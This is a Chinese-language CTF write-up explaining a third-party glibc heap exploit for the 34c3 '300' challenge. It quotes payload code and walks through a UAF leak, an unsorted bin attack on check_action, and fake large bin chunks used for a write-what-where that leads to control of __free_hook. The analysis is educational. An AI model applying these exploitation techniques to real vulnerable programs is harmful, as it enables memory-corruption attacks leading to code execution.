【技術分享】一道pwn題帶來的新思路 — 從unsorted bin attack 到 large bin attack
前言
近來無事,于是又開始刷起了34c3 ctf的題,不得不感嘆其題目出得好啊,雖然漏洞非常明顯,但是你就是不知道怎么利用
刷到了題目名字為300的這道pwn題,想半天利用不了,于是去看了一下別人的wp
有兩個wp
第一個wp是改了unsorted bin list,于是可以分配到一個堆的前面,利用house of orange 來get shell,這個比較簡單,具體怎么做直接google 搜wp就可以看到
第二個wp就是這篇文章主要分析的東西了
這里先貼一下wp的地址
這篇wp其實只是一個payload,雖然附帶少量的注釋,但是第一次看到真的完全不知道他是怎么利用的
正式分析
這個pwn有四個功能, alloc,read,write,free,alloc只能malloc固定大小為0x300的堆,read的話只能固定讀0x300個字節,write的話跟puts差不多,打印到為止的內容,free的話free掉之后沒用將指針給置0,所以可以實現UAF。
這個是pwn的程序的地址
pwn
說完程序的主要功能,我們來分析下payload吧
這里我省略一下payload的部分代碼,下面是payload的主要代碼
alloc(0)
alloc(1)
alloc(2)
alloc(3)
free(2)
free(0)
heap = u64(pr(0).ljust(8, 'x00')) - 0x620
libc.address = u64(pr(2).ljust(8, 'x00')) - 0x3c1b58
print('heap: 0x{:x}'.format(heap))
print('libc: 0x{:x}'.format(libc.address))
check_action = libc.address + 0x3c1150
main_arena = libc.address + 0x3c1b00
top = main_arena+0x58
bins_addr = main_arena + 0x68
arena_free_list = libc.address+0x3c37c0
# clean up
free(1)
free(3)
到這里為止,基本上都是常規操作,leak出libc 和heap的地址。
第一個關鍵點
# create a chunk in the unsorted bin alloc(0) alloc(1) free(0) # corrupt the unsorted bin and use it to overwrite the check_action variable write(0, flat(0x1234, check_action-0x10)) alloc(0) free(0)
這里利用unsorted bin attack,將check_action設置為unsorted bin 的地址,這個地址是main arena+一定的偏移,但是基本上是對齊的
那么這里的作用是什么呢?
我們來看下malloc的源碼吧

在malloc中,存在著很多這種判斷堆中某些值是否正常的代碼,如果不正常了,就會調用malloc_printerr

接下來會調用__libc_message,第一個參數傳進去的是do_abort

這里省略__libc_message中其他不重要的代碼,這里是主要的退出判斷邏輯
但是我們反編譯一下libc.so,會看到下面的代碼

這里的sub_80050就是malloc_printerr,傳進去的是存在bss段的某個地址的值,其實這里就是payload里面的check_action

修改了這個值之后,就算出錯了,程序也不會退出,這樣就能干很多正常時候做不了的事情了
第二個關鍵點
這里他先把一些tuple加進一個list,但是這個我們暫時先不管,我們先來分析他的write what where
for what, where in what_where:
print('[0x{:012x}] = 0x{:x}'.format(where, what))
# if we triggered an error, the arena will be marked as corrupted and a new one allocated
# leak the address of that new arena first
alloc(0)
alloc(1)
write(1, fit({0x20: 0x320}, length=0x300))
free(0)
leak = ''
while len(leak) < 6:
new_chr = pr(0)[len(leak):len(leak)+1]
if not new_chr:
new_chr = 'x00'
leak += new_chr
write(0, 'A'*len(leak))
new_arena = u64(leak.ljust(8, 'x00')) - 0x58
write(0, flat(new_arena+0x58))
我們可以從他的注釋知道
# when triggering an error, the arena will be marked as corrupted and a new one gets allocated # though when allocating from an arena, there's a check that the result of _int_malloc is in a # valid range for a given arena. We put the main_arena back in the arena_free_list so that this # check doesn't stop us.
當error發生之后,當前arena會標記會出錯的,新的arena會被建立,基本就是mmap出來的,所以他上面的代碼是leak出新的arena的地址
# some unnecessary allocations left over from exploit dev. But I'm too lazy to fix the offsets below, so leaving them in alloc(0) alloc(2) alloc(3) alloc(4) free(0) # trigger the write-what-where write(0, flat(new_arena+0x68-0x10, new_arena-0x20+0x8d0, 0, 0x320, new_arena-0x20+0x8b0, new_arena-0x20+0x8f0, 0, 0x320, new_arena-0x20+0x8d0, new_arena+0x68-0x10)) alloc(1) alloc(1) write(0, flat(new_arena+0x68-0x10, new_arena-0x20+0x8d0, 0, 0x340, new_arena-0x20+0x8b0, new_arena-0x20+0x8f0, 0, 0x400, new_arena-0x20+0x8f0+0x30, new_arena-0x20+0x388, where-0x28, what, 0, 0x320, 1, new_arena-0x20+0x8f0, 1, 1)) alloc(1)
這里的代碼可以說是精華中的精華了,弄清楚之后不得不感嘆作者對堆的了解之深
這里alloc幾個堆,然后free 掉第一個堆,于是第一個堆就插入了unsorted bin list 里面
write(0, flat(new_arena+0x68-0x10, new_arena-0x20+0x8d0, 0, 0x320, new_arena-0x20+0x8b0, new_arena-0x20+0x8f0, 0, 0x320, new_arena-0x20+0x8d0, new_arena+0x68-0x10))
這里是第一個write

我們可以看到,這里他是在unsorted bin list里面插入了兩個自己構造出來的fake chunk,大小為0x320
那么這個時候問題就來了,為什么大小是0x320 而不是0x310呢?
我們繼續來看malloc的源碼


這里來將代碼翻譯成人話
在unsorted bin list中,有兩種情況會直接將chunk從list中提取出來
- 如果用戶需要分配的內存大小對應的chunk屬于smallbin,unsortedbin中只有這一個chunk,并且該chunk屬于last remainder chunk且其大小大于用戶需要分配內存大小對應的chunk大小加上最小的chunk大小(保證可以拆開成兩個chunk),就將該chunk拆開成兩個chunk,分別為victim和remainder,進行相應的設置后,將用戶需要的victim返回。
- 如果剛剛從unsortedbin中取出的victim正好是用戶需要的大小nb,就設置相應的標志位,直接返回該victim
很明顯,0x320都不滿足以上兩種情況,所以會將兩個偽造的chunk插入對應的small bin list中
然后假如在unsorted bin中找不到合適的chunk,接下來就會判斷需要分配的內存大小是否在large bin 范圍內,是的話在large bin list中尋找
但是這里很明顯我們是small bin
接下來繼續看源碼

過了一大堆判斷之后,如果還找不到合適的chunk,就會到這里,這里的idx是需要分配的內存在main arena bins中的idx,這里++idx的意思是:
假如找不到0x310大小的堆,我們來找一下0x320大小的堆,這里很明顯有我們構造的fake chunk在small bin list中,所以就會返回構造的第一個small bin
所以上面第一次write完后,alloc的兩個堆分別為0x310大小的堆和我們構造的0x320大小的堆
我們來分析一下第二個write
write(0, flat(new_arena+0x68-0x10, new_arena-0x20+0x8d0, 0, 0x340, new_arena-0x20+0x8b0, new_arena-0x20+0x8f0, 0, 0x400, new_arena-0x20+0x8f0+0x30, new_arena-0x20+0x388, where-0x28, what, 0, 0x320, 1, new_arena-0x20+0x8f0, 1, 1))
其實這里可以簡化一下
write(0, flat(0, 0, 0, 0, 0, 0, 0, 0x400, new_arena-0x20+0x8f0+0x30, new_arena-0x20+0x388, where-0x28, what, 0, 0x320, 1, new_arena-0x20+0x8f0, 1, 1))
這個也是可以的,因為前面兩個chunk是已經alloc出來的,里面的內容已經無所謂了
這里為什么要從0x320改成0x400呢?
其實這里就是構造了一個large bin ,將fd_nextsize和bk_nextsize設為特定值,利用unlink可以實現一波”任意地址”寫”任意值”,這里其實也不是真正的任意地址寫任意值,因為這里要求任意地址和任意值大概都要在可寫的內存的范圍內
但是這里為什么要用large bin的unlink呢?
我們來看下源碼

這里small bin的unlink假如不滿足要求,就會調用malloc_printerr,雖然這里調用了也不會退出,但是沒有什么用。
假如是large bin的unlink,這里雖然不滿足要求,調用了malloc_printerr,但是因為沒退出,下面真正的unlink操作還是會執行的。
簡單總結
這里的write where what其實首先是構造了兩個fake chunk 插入到unsorted bin 里面,然后利用malloc的特點,將第二個fake chunk插入到small bin list中,在修改它的size位,偽造為large bin,利用unlink實現write where what。
第三個關鍵點
上面講了他如何實現write where what,下面就來講一下他加那些write where what的理由
what_where = [] # set up the main_arena so that we can get an allocation just before the __free_hook what_where.append((bins_addr-0x10, bins_addr)) what_where.append((bins_addr-0x10, bins_addr+8)) what_where.append((libc.sym['__free_hook']-0x40, libc.sym['__free_hook']-0x30)) what_where.append((libc.sym['__free_hook']-0x30+4, top)) what_where.append((main_arena, arena_free_list))
前兩個是將corrupted的unsorted bin list恢復正常
第三個是_free_hook上面的一些地方利用unlink來填一些值
第四個是將top chunk 的指針指向_free__hook上剛剛那些生成的值
第五個是將main_arena加入到arena_free_list中
前四個都很好理解,第五個是什么操作呢?
我們來看下源碼

因為上面corrupted arena的原因,malloc會調用這里的arena_get去拿一個可用的arena

然后這里大概會調用arena_get2

然后main_arena從get_free_list中返回,最終實現控制_free_hook
總結
這個payload寫得真的是十分精巧,如果不熟悉malloc源碼的話真的看不出怎么利用
同時,這個payload也給我們帶來了新思路,假如我們能控制check_action,使得堆出錯不退出的話,那么我們可以擺脫很多束縛,實現原來不能實現的騷操作
參考資料
https://code.woboq.org/
http://blog.csdn.net/conansonic/article/details/50241523
https://gist.github.com/sroettger/591b355b50f7f28f99b27ca6194681ad